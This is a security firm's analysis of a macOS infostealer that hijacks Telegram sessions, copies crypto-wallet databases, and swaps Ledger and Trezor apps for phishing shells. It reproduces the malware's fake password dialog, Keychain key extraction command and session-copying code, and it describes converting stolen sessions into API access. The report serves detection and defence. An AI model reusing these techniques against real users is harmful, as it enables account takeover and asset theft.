TG 帳號失守、錢包被調包，macOS 木馬如何突破防線？

macOS 竊密木馬竊取 TG 會話與錢包數據，還替換硬體錢包客戶端實施雙重資產竊取攻擊。

撰文：慢霧安全團隊

背景

近日，MistEye 安全監控系統捕獲了一款運行在 macOS 上的竊密木馬。慢霧安全團隊隨即展開了分析。

從竊取列表看，該樣本像是在進行一次沒有重點的數據搜刮：macOS Keychain、Safari Cookie、Apple Notes、Telegram Desktop 本地數據，以及十餘種數字錢包的數據庫，均被列入目標範圍。

在前文《Google Sites 社群申請釣魚與 macOS 竊密木馬分析》中，我們回答了「木馬偷了什麼」。但文件被複製並不等於帳號已經失守，錢包數據庫被帶走也不意味著助記詞已經洩露。因此，本文進一步追問：

這些文件被偷走以後，真的能轉化成帳號和資產控制權嗎？

我們在隔離環境中沿著樣本留下的路徑進行復現。先把樣本複製出的 Telegram Desktop 會話文件恢復到一台版本兼容的 Mac 上，再啟動客戶端。

登錄界面沒有出現。

沒有要求輸入手機號碼，沒有發送驗證碼，也沒有要求輸入 Telegram 二次驗證密碼。客戶端直接恢復了原來的帳號狀態，並開始同步聊天記錄。

這一步讓攻擊鏈第一次從「靜態文件」變成了可以觀察到的結果：攻擊者搬走的不是一份普通配置，而是一張已經通過認證的本地通行證。

隨後，我們又驗證了另一條路徑：錢包數據庫和候選密碼可以在離線環境中匯合；樣本同時還會刪除用戶原本安裝的錢包客戶端，換上一個套著正版名稱和圖標的遠程網頁外殼。

這些看似分散的功能，最終串成了一條完整的接管鏈：

1.先收集密碼、解鎖材料和已有登錄態；

2.搬走 Telegram Desktop 已經授權的本地會話；

3.複製錢包數據庫和瀏覽器錢包擴展狀態；

4.在攻擊者自己的環境中嘗試離線解密；

5.同時刪除正版錢包，換成遠程 WebView 應用，誘導用戶主動提交助記詞。

本文基於主樣本靜態分析報告、三個錢包替換包的靜態分析報告、分析員根據反匯編還原的等價邏輯，以及用於離線取證驗證的 LevelDB 輔助材料。

第 1 步：收集密碼與解鎖材料

Telegram 會話能夠被直接恢復，並不是因為攻擊者破解了 Telegram 的密碼。錢包數據庫能夠被嘗試解密，也不是因為錢包軟件沒有加密。

攻擊者首先要做的，是儘可能多地收集密碼、解鎖材料和仍然有效的登錄態。Keychain、瀏覽器數據庫、Apple Notes 和偽裝密碼彈窗，都是這一步的組成部分。

釣魚密碼彈窗：

樣本會彈出一個偽裝成 Google API connector 更新的密碼對話框：

set passwen to display dialog "GAPI_Update requires administrator access to update Google API connector. Enter your password to allow this." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Password Request" with hidden answer text returned of passwen

它並不是把輸入框裡的內容原樣收集後就結束。樣本隨後使用 macOS 的 dscl 命令校驗這個密碼是否真的能通過本機認證：

dscl . authonly '<當前用戶名>' '<候選密碼>'

也就是說，樣本試圖確認用戶輸入的是本機登錄口令，而不是一個隨手輸入的字符串。校驗通過後，這個密碼可以繼續用於後續的權限提升、應用刪除等操作。

收集瀏覽器與 Keychain 憑據：

與此同時，樣本嘗試從 Keychain 中讀取 Chrome Safe Storage 密鑰：

security find-generic-password -ga "Chrome"2> 1 >/dev/null | sed -n 's/^password: "(.*)"/\1/p'

結果寫入暫存文件 masterpass-chrome。Chrome Safe Storage 可以理解為瀏覽器保存在 macOS Keychain 中的一把解密鑰匙。有了它，攻擊者就能把 Chrome 的加密登錄數據和 Cookie 一並帶走，在自己的環境中進一步分析。

樣本的瀏覽器收集範圍覆蓋 Chrome、Brave、Edge、Vivaldi、Opera 等 Chromium 內核瀏覽器，目標文件包括 Login Data、Cookies、Web Data、formhistory.sqlite 等；對 Firefox 等瀏覽器，則會關注 logins.json、key4.db 和 Cookie 數據。

樣本還會定位並收集：

Keychains/login.keychain-db

Group Containers/group.com.apple.notes/NoteStore.sqlite

Notes 中是否實際保存了密碼、錢包助記詞、Telegram Passcode 或恢復碼，取決於用戶自己的記錄。但代碼層面已經存在讀取賬戶和正文內容的能力。

因此，攻擊者在這一階段得到的並不是一個單獨的密碼，而是一批可以互相補充的材料：

• 直接密碼輸入：偽裝對話框中獲取的 macOS 登錄密碼；
• 解鎖材料：Keychain、Chrome Safe Storage 和瀏覽器加密數據庫；
• 憑據等價物：Cookie、Notes 內容，以及後續會話和錢包數據。

這些材料單獨看未必足以接管帳號或錢包，但它們為後面的「會話搬家」和「離線解密」準備了鑰匙。

第 2 步：搬走 Telegram 會話

定位 tdata 會話目錄：

樣本針對的不是 Telegram 網頁版或移動端，而是 Telegram Desktop 桌面客戶端。它會定位：

~/Library/Application Support/Telegram Desktop/tdata/

這裡的 tdata，可以簡單理解為 Telegram Desktop 為了保持登錄狀態而保存在本機的一組會話數據。

樣本會複製其中與密鑰、配置和會話狀態有關的文件，包括：

• key_datas：與本地 tdata 密鑰或配置有關；
• <name>s：與本地會話狀態有關；
• <name>/maps：會話數據映射的一部分。

根據還原的等價邏輯，樣本先複製 key_datas，再遍歷目錄，尋找成對的會話文件，並把相關數據寫入暫存目錄：

std::string src = app_support + "Telegram Desktop/tdata/";std::string dst = staging + "tg/";

copy_file(src + "key_datas", dst + "key_datas");

std::vector<std::string> names = list_directory_names(src);for (conststd::string& name : names) {if (contains(names, name + "s")) { copy_file(src + name + "s", dst + name + "s"); copy_file(src + name + "/maps", dst + name + "/maps"); }}

這不是「搜索幾個 Telegram 文件名」，而是一條明確的會話文件複製鏈。複製完成後，主流程會把暫存目錄壓縮並上傳。

恢復會話，繞過登錄：

為了驗證這些文件被外傳後的實際風險，我們在隔離環境中準備了版本兼容的 Telegram Desktop（macOS 12.7 / Telegram Desktop 4.16），並將樣本竊取的關鍵文件恢復到對應位置。

測試使用未綁定真實資產的測試帳號，帳號開啟了 Telegram 2FA（雙因素認證），但沒有開啟 Telegram Desktop Passcode。

恢復文件並啟動客戶端後，登入流程沒有出現：

• 不需要輸入手機號；
• 不需要短信驗證碼；
• 不需要 Telegram 二次驗證密碼。

客戶端直接恢復了原有帳號的登入狀態，隨後開始同步聊天記錄。

這意味著攻擊者需要的不是一次新的帳號授權，而是一份仍然有效的本地會話。

它偷走的不是登入密碼，而是一張已經通過檢查的「通行證」。

復用會話 vs 破解 2FA：

這裡需要區分「繞過 2FA」和「復用既有會話」。

Telegram 的二次驗證主要保護新的帳號授權流程。當攻擊者直接恢復已授權的本地會話材料時，客戶端不會重新執行手機號、驗證碼和二次驗證密碼的完整認證流程。

因此，更準確的說法是：攻擊者復用了已經完成授權的本地會話，所以沒有重新觸發 2FA。這並不意味著 Telegram 的 2FA 密碼被破解，而是整個復用過程根本沒有進入需要驗證該密碼的環節。

用戶未必能立即發現異常：

在本次測試條件下，複製後的會話在設備列表中沒有穩定表現為一條清晰、獨立的新增設備授權記錄。這意味著，即使用戶主動檢查已登入設備，也未必能馬上意識到本地會話數據已經被複製。

當原設備和復現設備長時間並發使用時，服務端可能使其中一端的會話失效並要求重新登入。但在較短、間歇性的訪問測試中，會話沒有立即被強制終止。

服務端的異常檢測可以縮短部分被盜會話的存活時間，但不能替代對本地 tdata 數據的保護。

如果 Telegram Desktop 開啟了 Passcode，恢復會話後攻擊者仍可能被要求輸入這個密碼。這確實能增加一層保護，但這款木馬同時收集 Keychain、Apple Notes 和瀏覽器數據。如果用戶曾在這些位置記錄 Telegram Passcode，或者在多個應用之間復用了密碼，這道保護仍可能被突破。

tdata 可進一步轉換為 API 會話：

除了上述方式，我們還發現，拿到 Telegram 的 tdata 後，可以結合 opentele、Telethon、已授權的 AuthKey 和官方客戶端 API 參數，將本地登入態轉換為可編程的 Telegram API 會話，用於讀取對話、歷史消息和發送消息。測試表明，腳本可以採用短時、間歇性連接，不必長期保持在線，從而降低立即觸發異常登出的風險。由於復用的是原有授權，不會產生新的設備登入，登入設備列表中也不會出現清晰、獨立的新設備記錄，用戶僅通過檢查登入設備難以及時發現異常。

Telegram for macOS 同樣存在會話復用風險：

上述分析針對的是 Telegram Desktop（基於 Qt 的跨平台桌面客戶端）。但 Telegram 在 macOS 上還提供了另一個渠道的原生客戶端------Telegram for macOS（通過 App Store 或官網獨立下載的 Swift 原生版本）。對該版本的測試表明，其本地會話文件同樣可以被複製並在另一台 Mac 上直接恢復登入狀態：無需手機號、驗證碼或二次驗證密碼即可進入帳號，且登入設備列表中不會出現代表復現設備的新增記錄。

除此之外，Telegram for macOS 在安全機制響應方面與 Telegram Desktop 存在一個值得注意的差異：當服務端檢測到異常登入行為後，Telegram for macOS 並不會像 Desktop 版本那樣被強制退出登入並清除本地數據。在我們的測試中，被安全機制標記後的客戶端雖然無法發送新消息或接收新消息，但仍能保持介面打開狀態，攻擊者可以藉此繼續查看和翻閱本地已有的歷史聊天記錄。也就是說，即使服務端已經做出反應，此前緩存的歷史消息仍然可以被完整回溯，而不會被強制退出阻斷。

這意味著，在這一攻擊場景下，macOS 原生客戶端不僅無法通過「新增登入設備」這一常規維度被用戶感知，且在服務端檢測到異常之後，歷史聊天記錄仍然暴露在外------攻擊者雖然失去了實時收發消息的能力，但已緩存的歷史內容仍可被完整閱讀。

到這裡，Telegram 部分的路徑已經清楚：無論是 Telegram Desktop 還是 Telegram for macOS，攻擊者都不需要重新登入帳號，只需要把一份已經完成授權的本地會話，從受害者的 Mac 搬到自己的環境中。

第 3 步：竊取錢包數據

Telegram 會話可以直接復用，錢包數據庫則通常還隔著一層加密。樣本的做法是先儘可能多地複製錢包數據，為後續分析留下空間。

16 種錢包全量覆蓋：

樣本會搜索 16 種本地錢包或錢包管理客戶端，涵蓋軟體錢包、Core 類全節點客戶端，以及硬體錢包的配套管理程序：

• 軟體錢包：Electrum、Coinomi、Exodus、Atomic、Wasabi、Monero、Electrum LTC、Electron Cash、Guarda、Sparrow；
• Core 類客戶端：Bitcoin Core、Litecoin Core、Dash Core、Dogecoin Core；
• 硬體錢包配套客戶端：Ledger Live、Trezor Suite。

不同錢包的數據目錄、數據庫格式和加密方式並不相同，但樣本採用的基本策略一致：定位目錄，複製錢包數據庫和配置文件，打包外傳，在攻擊者自己的環境中繼續分析。

複製時，樣本會跳過 Cache、Code Cache、Crashpad、journals、media、calls 等緩存和噪聲目錄，優先保留賬戶和錢包狀態數據。

這帶來一個容易被低估的後果：即使錢包數據處於加密狀態，只要完整數據庫已經外傳，攻擊者就可以脫離受害者設備，反復嘗試解密。受害者關閉錢包、斷開網絡，甚至刪除木馬，都無法收回已經被複製的數據。

瀏覽器擴展收集：

桌面錢包之外，樣本還會掃描 Chrome、Brave、Edge、Vivaldi、Opera 等十餘種 Chromium 內核瀏覽器的配置目錄。

它會針對每個瀏覽器的 Default 或 Profile 目錄，收集 Cookie、登入數據、網頁表單數據，以及本地擴展存儲和 IndexedDB 數據。樣本內置了 223 個錢包相關擴展 ID，用來篩選並複製加密錢包擴展的本地存儲。

這些數據不等於明文助記詞，但其中可能包含錢包 Vault、賬戶配置、授權狀態和瀏覽器登入材料，可用於離線分析、狀態遷移和後續定向釣魚。

到這裡，攻擊者手裡已經有了兩類關鍵材料：一邊是加密的錢包數據庫，另一邊是從系統、瀏覽器和 Notes 中收集到的候選密碼。下一步，就是看這兩類材料能不能拼在一起。

第 4 步：離線解密錢包

以 Atomic Wallet 為例：

我們選擇 Atomic Wallet 做本地復現。樣本會複製 Atomic Wallet 的 LevelDB 本地存儲目錄。LevelDB 是一種常見的本地數據庫格式，錢包會把賬戶狀態和敏感數據保存在其中。

該目錄中的數據使用 AES-256-CBC 加密，解密需要錢包密碼。

因此，單獨拿到一份 LevelDB 文件，並不意味著攻擊者已經拿到了明文助記詞。錢包密碼仍然是數據庫和敏感數據之間的一道門。

但這道門需要放進整條攻擊鏈中觀察。

多源密碼逐一嘗試：

在隔離測試環境中（Atomic Wallet 2.70），我們恢復了樣本複製出的 LevelDB 數據，並將木馬從 Keychain、瀏覽器密碼管理器、Apple Notes 等位置收集到的候選密碼逐一用於解密。

最終，候選密碼成功解出了包含資產控制材料的數據。

這一步揭示了樣本最危險的地方：攻擊者不一定需要尋找錢包軟體本身的加密漏洞，也不需要在受害者電腦上實時嘗試密碼。

它只需要同時帶走兩樣東西：一份加密的錢包數據庫，以及一批可能屬於用戶的密碼。數據庫像一個被搬走的保險箱，候選密碼則是一串來源複雜的備用鑰匙。攻擊者可以在不受時間限制的離線環境中逐一驗證。

私鑰外傳後不可撤銷：

一旦私鑰、助記詞或等價的資產控制材料被恢復，風險就不再局限於某款錢包客戶端。攻擊者可以在另一款兼容錢包中恢復同一組地址，並獲得相應資產的控制權。

此時，修改應用密碼、重新安裝客戶端，甚至刪除本地錢包文件，都無法使已經外傳的私鑰或助記詞失效。

到這裡，錢包數據的離線解密路徑已經清楚。但樣本並沒有止步於此------對於幾個高價值目標，它還部署了另一條並行的攻擊路徑。

第 5 步：替換錢包應用

下載惡意 ZIP 替換應用：

在主樣本中，我們發現了一組與普通文件竊取明顯不同的操作：木馬會從遠程伺服器下載三個 ZIP 包到 /tmp 目錄，同時刪除用戶原本安裝的 Ledger Live、Ledger Wallet 和 Trezor Suite。

主樣本中的 swap_app() 函數執行完整替換流程：用 curl 下載壓縮包，用 pkill 結束正在運行的錢包進程，再用 rm -rf 刪除原應用，必要時通過 sudo 提權，最後使用 ditto 將壓縮包解壓到 /Applications。

替換包只是網頁加載器：

從文件名和圖標看，這些 ZIP 包似乎分別對應三款正版錢包客戶端。但逆向分析顯示，它們沒有實現真正的錢包功能。

三個替換程序的核心執行流程高度相似：讀取隱藏配置，用 XOR 解密遠程路由，拼接完整 URL，創建一個啟用 JavaScript 的 WKWebView，再加載攻擊者控制的遠程頁面。

WKWebView 可以理解為嵌在桌面應用裡的網頁窗口。它能讓遠端網頁覆蓋應用界面，卻不必以瀏覽器標籤頁的形式出現。

靜態分析確認，替換包啟用了 JavaScript 和持久化數據存儲，但沒有發現 Ledger 或 Trezor 的真實業務實現：沒有 USB/HID 通信、沒有硬體設備枚舉、沒有 BIP39/BIP32 密鑰派生，也沒有交易構造或本地簽名。

換句話說，這些程序不是被修改過的錢包客戶端，而是套著錢包名稱和圖標的網頁加載器。

三個替換應用最終加載的遠程地址為：

Ledger Live 和 Ledger Wallet 指向相同的 /ledger 路由，Trezor Suite 則加載 /trezor 路由。遠程頁面意味著，攻擊者無需重新發布本地應用，就可以隨時修改頁面內容、交互文案和數據提交邏輯。

桌面圖標背後的釣魚頁面：

當用戶啟動這些替換後的「錢包」應用時，遠程頁面可以偽裝成錢包恢復、驗證或初始化流程，引導用戶輸入助記詞、PIN、passphrase 或其他恢復材料。

對普通用戶來說，這比傳統釣魚網頁更難識別。頁面不是出現在瀏覽器標籤頁裡，而是出現在一個安裝於 /Applications 目錄、擁有熟悉名稱和圖標的桌面應用中。

用戶可能以為這是錢包升級後的驗證流程，也可能以為自己正在按照官方指引恢復帳戶。

如果用戶在這個遠程頁面中提交了助記詞，攻擊者得到的就不再是某一個應用的臨時訪問權限，而是錢包資產的最高控制憑據。

離線解密是在已經存在的數據中尋找助記詞；替換應用，則是誘導用戶親手把助記詞輸入進來。兩條路徑並行運作，互不依賴。

攻擊鏈全景

回看最初那份竊取列表，Keychain、Cookie、Notes、Telegram 和錢包文件似乎是彼此獨立的目標。復現之後，它們之間的關係變得清晰起來：

• Keychain、瀏覽器和 Notes 提供密碼、Passcode 及其他解鎖材料；
• Safari Cookie 可能提供仍然有效的 Web 登錄會話；
• Telegram tdata 提供已經完成授權的帳號會話；
• 錢包數據庫 提供可以被帶走、複製和離線分析的加密數據；
• 替換後的 Ledger 與 Trezor 應用 則從另一條獨立路徑，把用戶引向遠程釣魚頁面。

每一個模塊單獨看，都像是常見的竊密行為。真正危險的地方，在於樣本可以把這些材料組合起來。

對 Telegram 來說，攻擊者繞開的不是密碼強度，而是重新認證本身。對本地錢包來說，攻擊者利用的是加密數據和密碼材料被同時竊取。對 Ledger 和 Trezor 來說，攻擊者甚至不再嘗試破解已有數據，而是通過替換客戶端，重新定義用戶眼中的「可信界面」。

攻擊者真正需要的，往往不是某一個密碼，而是已授權會話、加密數據和解鎖材料同時落入手中。

總結

這款木馬偷走的不是幾個孤立的密碼或文件，而是用戶在一台 Mac 上逐漸建立起來的整套本地信任關係：已經登錄的會話、保存過的密碼、加密的錢包，以及用戶對桌面應用本身的信任。

當這些東西同時離開設備，從信息泄露到帳號接管，再到數字資產失竊，中間只差一次成功的數據組合。

雙路徑錢包攻擊。 樣本為錢包資產準備了兩條互為備份的路徑：第一條是竊取錢包數據庫和候選密碼，進行離線解密；第二條是替換硬體錢包客戶端，加載遠程頁面，誘導用戶主動提交助記詞。兩條路徑並行運作，分別覆蓋「被動竊取」和「主動誘導」。

會話復用，而不是密碼破解。攻擊者直接複製已授權的本地會話文件，在新的環境中恢復登錄態，全程不觸發重新認證流程。

多源憑據組合利用。 樣本不依賴單一來源的密碼，而是從 Keychain、瀏覽器密碼管理器、Apple Notes 和偽裝對話框等多個渠道收集候選密碼，提高離線解密錢包數據庫的機會。

建議

1. 發現主機可能感染後，應在可信設備上立即終止所有現有 Telegram 會話，重新建立可信登錄狀態，並修改 Telegram 二次驗證密碼和 Passcode。僅修改 2FA 密碼未必能立即使已經複製的本地會話失效。

2. 一旦錢包數據庫或私鑰材料可能泄露，應在乾淨設備或可信硬體錢包上生成全新的助記詞，將資產儘快遷移至新地址，並停止使用舊助記詞。僅修改錢包應用密碼無法使已泄露的私鑰或助記詞失效。

3. 輪換 Keychain、Apple Notes 及瀏覽器中保存或復用過的所有密碼，重點關注郵箱、交易所、雲盤、密碼管理器和社交帳號，並註銷這些服務中的既有登錄會話。

4. 對於可能被刪除並替換過的 Ledger 或 Trezor 客戶端，應先刪除可疑應用，檢查代碼簽名和安裝來源，排查相關持久化項（如 LaunchDaemon），再從官方可信渠道重新獲取安裝包。如果在替換後的應用中輸入過助記詞，應立即按助記詞已泄露處理。

5. 對於不常使用的 Telegram 客戶端（如僅在特定設備上安裝但長期不打開的 Desktop 或 macOS 原生客戶端），應定期檢查其登入狀態，或主動終止不再需要的會話。由於這類客戶端使用頻率低，即使登入態被盜取並在攻擊者環境中恢復，用戶也難以及時發現異常------服務端的安全檢測通常依賴活躍會話的行為模式變化，對於長時間處於靜默狀態的客戶端，異常登入更難被自動識別。一旦被盜，攻擊者可能長期保持對該帳號的靜默控制，持續讀取新消息而不觸發任何警報。

6. 日常使用中，應為 Telegram 啟用 Passcode，並設置一個與其他密碼不同的高強度密碼，避免使用弱密碼，以此增強本地會話的防護。

IOC

IP

192[.]253[.]248[.]181

86[.]54[.]25[.]213

URL

http[://192[.]253[.]248[.]181/web/ledger.zip

http[://192[.]253[.]248[.]181/web/ledgerwallet.zip

http[://192[.]253[.]248[.]181/web/trezor.zip

http[://86[.]54[.]25[.]213/ledger?username=night

http[://86[.]54[.]25[.]213/trezor?username=night

http[://86[.]54[.]25[.]213/log

惡意文件

filename: ledger.zip

SHA256: 41d77fef030b8515efb068defed5e15c14fbebd16259253f1f79febd6e12ebcb

filename: ledgerwallet.zip

SHA256: 36f4ae11560ed34f32c927468a09a5370a5fbdcae41660f6e8d9a49330c8d059

filename: trezor.zip

SHA256: 60f33e7b8c6b84839e28c710c8c5a99a718c0b88135653561be8d45f976b794f